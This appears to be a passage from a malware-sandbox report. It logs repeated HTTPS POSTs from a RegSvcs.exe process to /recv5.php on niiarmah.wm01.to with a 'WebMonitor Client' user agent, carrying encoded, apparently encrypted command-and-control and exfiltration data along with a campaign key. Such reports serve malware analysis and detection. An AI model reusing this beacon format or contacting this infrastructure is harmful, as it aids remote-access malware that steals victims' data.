2021-12-06 11:19:42 UTC	21	OUT	Data Raw: 6d 6f 64 65 3d 38 36 72 43 6e 50 49 4c 41 65 51 58 4d 55 2b 79 30 6e 6d 75 6e 51 3d 3d 26 64 61 74 61 3d 61 52 35 32 6e 52 75 6b 78 4b 58 77 69 63 66 77 42 68 36 2b 5a 56 59 68 65 4b 39 4c 70 6f 54 37 45 6c 46 72 52 58 61 7a 74 34 55 71 36 37 71 46 68 69 44 72 4c 50 4d 2b 44 51 31 53 6c 58 72 30 52 6c 30 6a 5a 31 6c 61 6f 6a 42 50 43 34 68 75 7a 43 79 77 72 77 3d 3d 26 6b 65 79 3d 34 45 63 44 48 48 37 61 57 62 6c 35 30 4c 61 79 55 6e 75 52 6c 4a 57 55 58 69 4b 51 57 6b 30 4f 26 75 69 64 3d 38 37 63 63 38 38 64 64 36 66 33 39 65 39 36 66 30 37 34 65 37 64 38 36 65 30 32 65 35 61 63 33 26 75 73 65 72 3d 6e 69 69 61 72 6d 61 68 26 63 6d 70 3d 30 26 65 6e 63 3d 31 Data Ascii: mode=86rCnPILAeQXMU+y0nmunQ==&data=aR52nRukxKXwicfwBh6+ZVYheK9LpoT7ElFrRXazt4Uq67qFhiDrLPM+DQ1SlXr0Rl0jZ1laojBPC4huzCywrw==&key=4EcDHH7aWbl50LayUnuRlJWUXiKQWk0O&uid=87cc88dd6f39e96f074e7d86e02e5ac3&user=niiarmah&cmp=0&enc=1
2021-12-06 11:19:42 UTC	21	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Mon, 06 Dec 2021 11:19:42 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache
2021-12-06 11:19:42 UTC	22	IN	Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.4	49870	45.153.186.90	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-06 11:19:44 UTC	22	OUT	POST /recv5.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: WebMonitor Client Host: niiarmah.wm01.to Content-Length: 199 Cache-Control: no-cache Cookie: PHPSESSID=cf04jibacq6sr07ohr6u5ob9n4
2021-12-06 11:19:44 UTC	22	OUT	Data Raw: 6d 6f 64 65 3d 38 36 72 43 6e 50 49 4c 41 65 51 58 4d 55 2b 79 30 6e 6d 75 6e 51 3d 3d 26 64 61 74 61 3d 61 52 35 32 6e 52 75 6b 78 4b 58 77 69 63 66 77 42 68 36 2b 5a 56 59 68 65 4b 39 4c 70 6f 54 37 45 6c 46 72 52 58 61 7a 74 34 57 42 46 68 43 7a 54 6c 52 74 50 69 41 78 48 49 32 66 68 4c 45 62 26 6b 65 79 3d 34 45 63 44 48 48 37 61 57 62 6c 35 30 4c 61 79 55 6e 75 52 6c 4a 57 55 58 69 4b 51 57 6b 30 4f 26 75 69 64 3d 38 37 63 63 38 38 64 64 36 66 33 39 65 39 36 66 30 37 34 65 37 64 38 36 65 30 32 65 35 61 63 33 26 75 73 65 72 3d 6e 69 69 61 72 6d 61 68 26 63 6d 70 3d 30 26 65 6e 63 3d 31 Data Ascii: mode=86rCnPILAeQXMU+y0nmunQ==&data=aR52nRukxKXwicfwBh6+ZVYheK9LpoT7ElFrRXazt4WBFhCzTlRtPiAxHI2fhLEb&key=4EcDHH7aWbl50LayUnuRlJWUXiKQWk0O&uid=87cc88dd6f39e96f074e7d86e02e5ac3&user=niiarmah&cmp=0&enc=1
2021-12-06 11:19:45 UTC	22	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Mon, 06 Dec 2021 11:19:45 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache
2021-12-06 11:19:45 UTC	22	IN	Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.4	49871	45.153.186.90	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-06 11:19:47 UTC	22	OUT	POST /recv5.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: WebMonitor Client Host: niiarmah.wm01.to Content-Length: 223 Cache-Control: no-cache Cookie: PHPSESSID=cf04jibacq6sr07ohr6u5ob9n4
2021-12-06 11:19:47 UTC	23	OUT	Data Raw: 6d 6f 64 65 3d 38 36 72 43 6e 50 49 4c 41 65 51 58 4d 55 2b 79 30 6e 6d 75 6e 51 3d 3d 26 64 61 74 61 3d 61 52 35 32 6e 52 75 6b 78 4b 58 77 69 63 66 77 42 68 36 2b 5a 56 59 68 65 4b 39 4c 70 6f 54 37 45 6c 46 72 52 58 61 7a 74 34 56 39 4a 35 76 59 4f 31 63 75 36 2b 32 48 32 65 32 31 41 4a 4b 2b 67 61 5a 35 43 77 42 61 4e 67 58 4d 33 53 47 41 38 39 47 52 55 67 3d 3d 26 6b 65 79 3d 34 45 63 44 48 48 37 61 57 62 6c 35 30 4c 61 79 55 6e 75 52 6c 4a 57 55 58 69 4b 51 57 6b 30 4f 26 75 69 64 3d 38 37 63 63 38 38 64 64 36 66 33 39 65 39 36 66 30 37 34 65 37 64 38 36 65 30 32 65 35 61 63 33 26 75 73 65 72 3d 6e 69 69 61 72 6d 61 68 26 63 6d 70 3d 30 26 65 6e 63 3d 31 Data Ascii: mode=86rCnPILAeQXMU+y0nmunQ==&data=aR52nRukxKXwicfwBh6+ZVYheK9LpoT7ElFrRXazt4V9J5vYO1cu6+2H2e21AJK+gaZ5CwBaNgXM3SGA89GRUg==&key=4EcDHH7aWbl50LayUnuRlJWUXiKQWk0O&uid=87cc88dd6f39e96f074e7d86e02e5ac3&user=niiarmah&cmp=0&enc=1
2021-12-06 11:19:47 UTC	23	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Mon, 06 Dec 2021 11:19:47 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache
2021-12-06 11:19:47 UTC	23	IN	Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.4	49872	45.153.186.90	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-06 11:19:50 UTC	23	OUT	POST /recv5.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: WebMonitor Client Host: niiarmah.wm01.to Content-Length: 223 Cache-Control: no-cache Cookie: PHPSESSID=cf04jibacq6sr07ohr6u5ob9n4
2021-12-06 11:19:50 UTC	23	OUT	Data Raw: 6d 6f 64 65 3d 38 36 72 43 6e 50 49 4c 41 65 51 58 4d 55 2b 79 30 6e 6d 75 6e 51 3d 3d 26 64 61 74 61 3d 61 52 35 32 6e 52 75 6b 78 4b 58 77 69 63 66 77 42 68 36 2b 5a 56 59 68 65 4b 39 4c 70 6f 54 37 45 6c 46 72 52 58 61 7a 74 34 57 68 2b 30 71 67 46 46 2f 37 71 50 48 34 42 77 74 70 51 38 4d 59 4d 69 72 71 71 75 37 69 51 4c 68 47 55 68 62 41 77 4f 33 32 62 67 3d 3d 26 6b 65 79 3d 34 45 63 44 48 48 37 61 57 62 6c 35 30 4c 61 79 55 6e 75 52 6c 4a 57 55 58 69 4b 51 57 6b 30 4f 26 75 69 64 3d 38 37 63 63 38 38 64 64 36 66 33 39 65 39 36 66 30 37 34 65 37 64 38 36 65 30 32 65 35 61 63 33 26 75 73 65 72 3d 6e 69 69 61 72 6d 61 68 26 63 6d 70 3d 30 26 65 6e 63 3d 31 Data Ascii: mode=86rCnPILAeQXMU+y0nmunQ==&data=aR52nRukxKXwicfwBh6+ZVYheK9LpoT7ElFrRXazt4Wh+0qgFF/7qPH4BwtpQ8MYMirqqu7iQLhGUhbAwO32bg==&key=4EcDHH7aWbl50LayUnuRlJWUXiKQWk0O&uid=87cc88dd6f39e96f074e7d86e02e5ac3&user=niiarmah&cmp=0&enc=1
2021-12-06 11:19:50 UTC	24	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Mon, 06 Dec 2021 11:19:50 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache
2021-12-06 11:19:50 UTC	24	IN	Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.4	49874	45.153.186.90	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-06 11:19:52 UTC	24	OUT	POST /recv5.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: WebMonitor Client Host: niiarmah.wm01.to Content-Length: 223 Cache-Control: no-cache Cookie: PHPSESSID=cf04jibacq6sr07ohr6u5ob9n4
2021-12-06 11:19:52 UTC	24	OUT	Data Raw: 6d 6f 64 65 3d 38 36 72 43 6e 50 49 4c 41 65 51 58 4d 55 2b 79 30 6e 6d 75 6e 51 3d 3d 26 64 61 74 61 3d 61 52 35 32 6e 52 75 6b 78 4b 58 77 69 63 66 77 42 68 36 2b 5a 56 59 68 65 4b 39 4c 70 6f 54 37 45 6c 46 72 52 58 61 7a 74 34 56 34 58 6d 49 42 75 49 71 34 78 4e 35 77 61 66 4b 62 4b 54 4e 49 45 31 72 49 55 38 47 67 6d 75 45 6b 53 56 71 65 57 35 62 6a 4c 41 3d 3d 26 6b 65 79 3d 34 45 63 44 48 48 37 61 57 62 6c 35 30 4c 61 79 55 6e 75 52 6c 4a 57 55 58 69 4b 51 57 6b 30 4f 26 75 69 64 3d 38 37 63 63 38 38 64 64 36 66 33 39 65 39 36 66 30 37 34 65 37 64 38 36 65 30 32 65 35 61 63 33 26 75 73 65 72 3d 6e 69 69 61 72 6d 61 68 26 63 6d 70 3d 30 26 65 6e 63 3d 31 Data Ascii: mode=86rCnPILAeQXMU+y0nmunQ==&data=aR52nRukxKXwicfwBh6+ZVYheK9LpoT7ElFrRXazt4V4XmIBuIq4xN5wafKbKTNIE1rIU8GgmuEkSVqeW5bjLA==&key=4EcDHH7aWbl50LayUnuRlJWUXiKQWk0O&uid=87cc88dd6f39e96f074e7d86e02e5ac3&user=niiarmah&cmp=0&enc=1
2021-12-06 11:19:52 UTC	24	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Mon, 06 Dec 2021 11:19:52 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache
2021-12-06 11:19:52 UTC	25	IN	Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.4	49875	45.153.186.90	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-06 11:19:54 UTC	25	OUT	POST /recv5.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: WebMonitor Client Host: niiarmah.wm01.to Content-Length: 199 Cache-Control: no-cache Cookie: PHPSESSID=cf04jibacq6sr07ohr6u5ob9n4
2021-12-06 11:19:54 UTC	25	OUT	Data Raw: 6d 6f 64 65 3d 38 36 72 43 6e 50 49 4c 41 65 51 58 4d 55 2b 79 30 6e 6d 75 6e 51 3d 3d 26 64 61 74 61 3d 61 52 35 32 6e 52 75 6b 78 4b 58 77 69 63 66 77 42 68 36 2b 5a 56 59 68 65 4b 39 4c 70 6f 54 37 45 6c 46 72 52 58 61 7a 74 34 56 76 49 57 55 2f 34 75 64 33 4f 50 4f 36 4c 32 5a 56 45 57 56 30 26 6b 65 79 3d 34 45 63 44 48 48 37 61 57 62 6c 35 30 4c 61 79 55 6e 75 52 6c 4a 57 55 58 69 4b 51 57 6b 30 4f 26 75 69 64 3d 38 37 63 63 38 38 64 64 36 66 33 39 65 39 36 66 30 37 34 65 37 64 38 36 65 30 32 65 35 61 63 33 26 75 73 65 72 3d 6e 69 69 61 72 6d 61 68 26 63 6d 70 3d 30 26 65 6e 63 3d 31 Data Ascii: mode=86rCnPILAeQXMU+y0nmunQ==&data=aR52nRukxKXwicfwBh6+ZVYheK9LpoT7ElFrRXazt4VvIWU/4ud3OPO6L2ZVEWV0&key=4EcDHH7aWbl50LayUnuRlJWUXiKQWk0O&uid=87cc88dd6f39e96f074e7d86e02e5ac3&user=niiarmah&cmp=0&enc=1
2021-12-06 11:19:55 UTC	25	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Mon, 06 Dec 2021 11:19:55 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache
2021-12-06 11:19:55 UTC	25	IN	Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.4	49876	45.153.186.90	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-06 11:19:57 UTC	25	OUT	POST /recv5.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: WebMonitor Client Host: niiarmah.wm01.to Content-Length: 223 Cache-Control: no-cache Cookie: PHPSESSID=cf04jibacq6sr07ohr6u5ob9n4
2021-12-06 11:19:57 UTC	25	OUT	Data Raw: 6d 6f 64 65 3d 38 36 72 43 6e 50 49 4c 41 65 51 58 4d 55 2b 79 30 6e 6d 75 6e 51 3d 3d 26 64 61 74 61 3d 61 52 35 32 6e 52 75 6b 78 4b 58 77 69 63 66 77 42 68 36 2b 5a 56 59 68 65 4b 39 4c 70 6f 54 37 45 6c 46 72 52 58 61 7a 74 34 58 5a 66 4d 46 41 34 78 44 59 69 70 73 65 57 68 6b 30 7a 4f 4a 74 45 70 4b 41 43 51 6b 56 72 54 46 76 41 68 42 4b 46 57 4f 75 37 67 3d 3d 26 6b 65 79 3d 34 45 63 44 48 48 37 61 57 62 6c 35 30 4c 61 79 55 6e 75 52 6c 4a 57 55 58 69 4b 51 57 6b 30 4f 26 75 69 64 3d 38 37 63 63 38 38 64 64 36 66 33 39 65 39 36 66 30 37 34 65 37 64 38 36 65 30 32 65 35 61 63 33 26 75 73 65 72 3d 6e 69 69 61 72 6d 61 68 26 63 6d 70 3d 30 26 65 6e 63 3d 31 Data Ascii: mode=86rCnPILAeQXMU+y0nmunQ==&data=aR52nRukxKXwicfwBh6+ZVYheK9LpoT7ElFrRXazt4XZfMFA4xDYipseWhk0zOJtEpKACQkVrTFvAhBKFWOu7g==&key=4EcDHH7aWbl50LayUnuRlJWUXiKQWk0O&uid=87cc88dd6f39e96f074e7d86e02e5ac3&user=niiarmah&cmp=0&enc=1
2021-12-06 11:19:57 UTC	26	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Mon, 06 Dec 2021 11:19:57 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache
2021-12-06 11:19:57 UTC	26	IN	Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.4	49877	45.153.186.90	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-06 11:20:00 UTC	26	OUT	POST /recv5.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: WebMonitor Client Host: niiarmah.wm01.to Content-Length: 223 Cache-Control: no-cache Cookie: PHPSESSID=cf04jibacq6sr07ohr6u5ob9n4
2021-12-06 11:20:00 UTC	26	OUT	Data Raw: 6d 6f 64 65 3d 38 36 72 43 6e 50 49 4c 41 65 51 58 4d 55 2b 79 30 6e 6d 75 6e 51 3d 3d 26 64 61 74 61 3d 61 52 35 32 6e 52 75 6b 78 4b 58 77 69 63 66 77 42 68 36 2b 5a 56 59 68 65 4b 39 4c 70 6f 54 37 45 6c 46 72 52 58 61 7a 74 34 56 48 73 57 4b 4c 52 50 57 53 52 73 4d 7a 7a 52 32 30 69 63 45 41 6b 42 64 2f 47 45 73 6e 4a 39 6a 46 42 79 50 72 31 67 47 2f 54 67 3d 3d 26 6b 65 79 3d 34 45 63 44 48 48 37 61 57 62 6c 35 30 4c 61 79 55 6e 75 52 6c 4a 57 55 58 69 4b 51 57 6b 30 4f 26 75 69 64 3d 38 37 63 63 38 38 64 64 36 66 33 39 65 39 36 66 30 37 34 65 37 64 38 36 65 30 32 65 35 61 63 33 26 75 73 65 72 3d 6e 69 69 61 72 6d 61 68 26 63 6d 70 3d 30 26 65 6e 63 3d 31 Data Ascii: mode=86rCnPILAeQXMU+y0nmunQ==&data=aR52nRukxKXwicfwBh6+ZVYheK9LpoT7ElFrRXazt4VHsWKLRPWSRsMzzR20icEAkBd/GEsnJ9jFByPr1gG/Tg==&key=4EcDHH7aWbl50LayUnuRlJWUXiKQWk0O&uid=87cc88dd6f39e96f074e7d86e02e5ac3&user=niiarmah&cmp=0&enc=1
2021-12-06 11:20:00 UTC	26	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Mon, 06 Dec 2021 11:20:00 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache
2021-12-06 11:20:00 UTC	27	IN	Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.4	49878	45.153.186.90	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-06 11:20:02 UTC	27	OUT	POST /recv5.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: WebMonitor Client Host: niiarmah.wm01.to Content-Length: 223 Cache-Control: no-cache Cookie: PHPSESSID=cf04jibacq6sr07ohr6u5ob9n4
2021-12-06 11:20:02 UTC	27	OUT	Data Raw: 6d 6f 64 65 3d 38 36 72 43 6e 50 49 4c 41 65 51 58 4d 55 2b 79 30 6e 6d 75 6e 51 3d 3d 26 64 61 74 61 3d 61 52 35 32 6e 52 75 6b 78 4b 58 77 69 63 66 77 42 68 36 2b 5a 56 59 68 65 4b 39 4c 70 6f 54 37 45 6c 46 72 52 58 61 7a 74 34 55 55 79 4e 62 35 42 35 4f 66 62 6b 72 32 6f 46 74 47 49 2b 59 45 76 55 48 72 4e 71 32 4b 6f 39 48 34 44 33 62 33 4c 71 56 5a 6a 77 3d 3d 26 6b 65 79 3d 34 45 63 44 48 48 37 61 57 62 6c 35 30 4c 61 79 55 6e 75 52 6c 4a 57 55 58 69 4b 51 57 6b 30 4f 26 75 69 64 3d 38 37 63 63 38 38 64 64 36 66 33 39 65 39 36 66 30 37 34 65 37 64 38 36 65 30 32 65 35 61 63 33 26 75 73 65 72 3d 6e 69 69 61 72 6d 61 68 26 63 6d 70 3d 30 26 65 6e 63 3d 31 Data Ascii: mode=86rCnPILAeQXMU+y0nmunQ==&data=aR52nRukxKXwicfwBh6+ZVYheK9LpoT7ElFrRXazt4UUyNb5B5Ofbkr2oFtGI+YEvUHrNq2Ko9H4D3b3LqVZjw==&key=4EcDHH7aWbl50LayUnuRlJWUXiKQWk0O&uid=87cc88dd6f39e96f074e7d86e02e5ac3&user=niiarmah&cmp=0&enc=1
2021-12-06 11:20:02 UTC	27	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Mon, 06 Dec 2021 11:20:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache
2021-12-06 11:20:02 UTC	27	IN	Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.4	49879	45.153.186.90	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-06 11:20:05 UTC	27	OUT	POST /recv5.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: WebMonitor Client Host: niiarmah.wm01.to Content-Length: 199 Cache-Control: no-cache Cookie: PHPSESSID=cf04jibacq6sr07ohr6u5ob9n4
2021-12-06 11:20:05 UTC	28	OUT	Data Raw: 6d 6f 64 65 3d 38 36 72 43 6e 50 49 4c 41 65 51 58 4d 55 2b 79 30 6e 6d 75 6e 51 3d 3d 26 64 61 74 61 3d 61 52 35 32 6e 52 75 6b 78 4b 58 77 69 63 66 77 42 68 36 2b 5a 56 59 68 65 4b 39 4c 70 6f 54 37 45 6c 46 72 52 58 61 7a 74 34 57 4c 46 75 57 67 42 68 56 4c 75 31 4b 62 4e 70 79 2b 50 38 43 32 26 6b 65 79 3d 34 45 63 44 48 48 37 61 57 62 6c 35 30 4c 61 79 55 6e 75 52 6c 4a 57 55 58 69 4b 51 57 6b 30 4f 26 75 69 64 3d 38 37 63 63 38 38 64 64 36 66 33 39 65 39 36 66 30 37 34 65 37 64 38 36 65 30 32 65 35 61 63 33 26 75 73 65 72 3d 6e 69 69 61 72 6d 61 68 26 63 6d 70 3d 30 26 65 6e 63 3d 31 Data Ascii: mode=86rCnPILAeQXMU+y0nmunQ==&data=aR52nRukxKXwicfwBh6+ZVYheK9LpoT7ElFrRXazt4WLFuWgBhVLu1KbNpy+P8C2&key=4EcDHH7aWbl50LayUnuRlJWUXiKQWk0O&uid=87cc88dd6f39e96f074e7d86e02e5ac3&user=niiarmah&cmp=0&enc=1
2021-12-06 11:20:05 UTC	28	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Mon, 06 Dec 2021 11:20:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache
2021-12-06 11:20:05 UTC	28	IN	Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.4	49778	45.153.186.90	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-06 11:18:36 UTC	2	OUT	POST /recv5.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: WebMonitor Client Host: niiarmah.wm01.to Content-Length: 161 Cache-Control: no-cache Cookie: PHPSESSID=cf04jibacq6sr07ohr6u5ob9n4
2021-12-06 11:18:36 UTC	2	OUT	Data Raw: 6d 6f 64 65 3d 63 32 56 75 5a 46 39 68 63 48 42 66 62 57 46 34 58 33 42 68 59 32 74 6c 64 46 39 7a 61 58 70 6c 26 74 5f 69 64 3d 4f 54 55 79 4f 54 67 3d 26 64 61 74 61 3d 4d 51 3d 3d 26 6b 65 79 3d 34 45 63 44 48 48 37 61 57 62 6c 35 30 4c 61 79 55 6e 75 52 6c 4a 57 55 58 69 4b 51 57 6b 30 4f 26 75 69 64 3d 38 37 63 63 38 38 64 64 36 66 33 39 65 39 36 66 30 37 34 65 37 64 38 36 65 30 32 65 35 61 63 33 26 75 73 65 72 3d 6e 69 69 61 72 6d 61 68 26 63 6d 70 3d 30 26 65 6e 63 3d 30 Data Ascii: mode=c2VuZF9hcHBfbWF4X3BhY2tldF9zaXpl&t_id=OTUyOTg=&data=MQ==&key=4EcDHH7aWbl50LayUnuRlJWUXiKQWk0O&uid=87cc88dd6f39e96f074e7d86e02e5ac3&user=niiarmah&cmp=0&enc=0
2021-12-06 11:18:36 UTC	3	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Mon, 06 Dec 2021 11:18:36 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache
2021-12-06 11:18:36 UTC	3	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.4	49880	45.153.186.90	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-06 11:20:07 UTC	28	OUT	POST /recv5.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: WebMonitor Client Host: niiarmah.wm01.to Content-Length: 223 Cache-Control: no-cache Cookie: PHPSESSID=cf04jibacq6sr07ohr6u5ob9n4
2021-12-06 11:20:07 UTC	28	OUT	Data Raw: 6d 6f 64 65 3d 38 36 72 43 6e 50 49 4c 41 65 51 58 4d 55 2b 79 30 6e 6d 75 6e 51 3d 3d 26 64 61 74 61 3d 61 52 35 32 6e 52 75 6b 78 4b 58 77 69 63 66 77 42 68 36 2b 5a 56 59 68 65 4b 39 4c 70 6f 54 37 45 6c 46 72 52 58 61 7a 74 34 57 52 4a 78 32 70 41 52 72 46 37 6a 75 49 5a 44 7a 33 45 56 44 58 69 70 77 79 2f 56 49 61 65 5a 42 38 79 73 4f 32 70 32 34 70 4e 41 3d 3d 26 6b 65 79 3d 34 45 63 44 48 48 37 61 57 62 6c 35 30 4c 61 79 55 6e 75 52 6c 4a 57 55 58 69 4b 51 57 6b 30 4f 26 75 69 64 3d 38 37 63 63 38 38 64 64 36 66 33 39 65 39 36 66 30 37 34 65 37 64 38 36 65 30 32 65 35 61 63 33 26 75 73 65 72 3d 6e 69 69 61 72 6d 61 68 26 63 6d 70 3d 30 26 65 6e 63 3d 31 Data Ascii: mode=86rCnPILAeQXMU+y0nmunQ==&data=aR52nRukxKXwicfwBh6+ZVYheK9LpoT7ElFrRXazt4WRJx2pARrF7juIZDz3EVDXipwy/VIaeZB8ysO2p24pNA==&key=4EcDHH7aWbl50LayUnuRlJWUXiKQWk0O&uid=87cc88dd6f39e96f074e7d86e02e5ac3&user=niiarmah&cmp=0&enc=1
2021-12-06 11:20:07 UTC	29	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Mon, 06 Dec 2021 11:20:07 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache
2021-12-06 11:20:07 UTC	29	IN	Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.4	49881	45.153.186.90	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-06 11:20:10 UTC	29	OUT	POST /recv5.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: WebMonitor Client Host: niiarmah.wm01.to Content-Length: 223 Cache-Control: no-cache Cookie: PHPSESSID=cf04jibacq6sr07ohr6u5ob9n4
2021-12-06 11:20:10 UTC	29	OUT	Data Raw: 6d 6f 64 65 3d 38 36 72 43 6e 50 49 4c 41 65 51 58 4d 55 2b 79 30 6e 6d 75 6e 51 3d 3d 26 64 61 74 61 3d 61 52 35 32 6e 52 75 6b 78 4b 58 77 69 63 66 77 42 68 36 2b 5a 56 59 68 65 4b 39 4c 70 6f 54 37 45 6c 46 72 52 58 61 7a 74 34 55 4b 31 45 68 2f 71 31 34 45 74 51 71 2b 6b 75 43 51 61 35 67 74 6c 54 56 73 6f 72 2f 66 38 50 65 6c 62 6a 48 6d 77 4f 4e 64 68 51 3d 3d 26 6b 65 79 3d 34 45 63 44 48 48 37 61 57 62 6c 35 30 4c 61 79 55 6e 75 52 6c 4a 57 55 58 69 4b 51 57 6b 30 4f 26 75 69 64 3d 38 37 63 63 38 38 64 64 36 66 33 39 65 39 36 66 30 37 34 65 37 64 38 36 65 30 32 65 35 61 63 33 26 75 73 65 72 3d 6e 69 69 61 72 6d 61 68 26 63 6d 70 3d 30 26 65 6e 63 3d 31 Data Ascii: mode=86rCnPILAeQXMU+y0nmunQ==&data=aR52nRukxKXwicfwBh6+ZVYheK9LpoT7ElFrRXazt4UK1Eh/q14EtQq+kuCQa5gtlTVsor/f8PelbjHmwONdhQ==&key=4EcDHH7aWbl50LayUnuRlJWUXiKQWk0O&uid=87cc88dd6f39e96f074e7d86e02e5ac3&user=niiarmah&cmp=0&enc=1
2021-12-06 11:20:10 UTC	29	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Mon, 06 Dec 2021 11:20:10 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache
2021-12-06 11:20:10 UTC	29	IN	Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
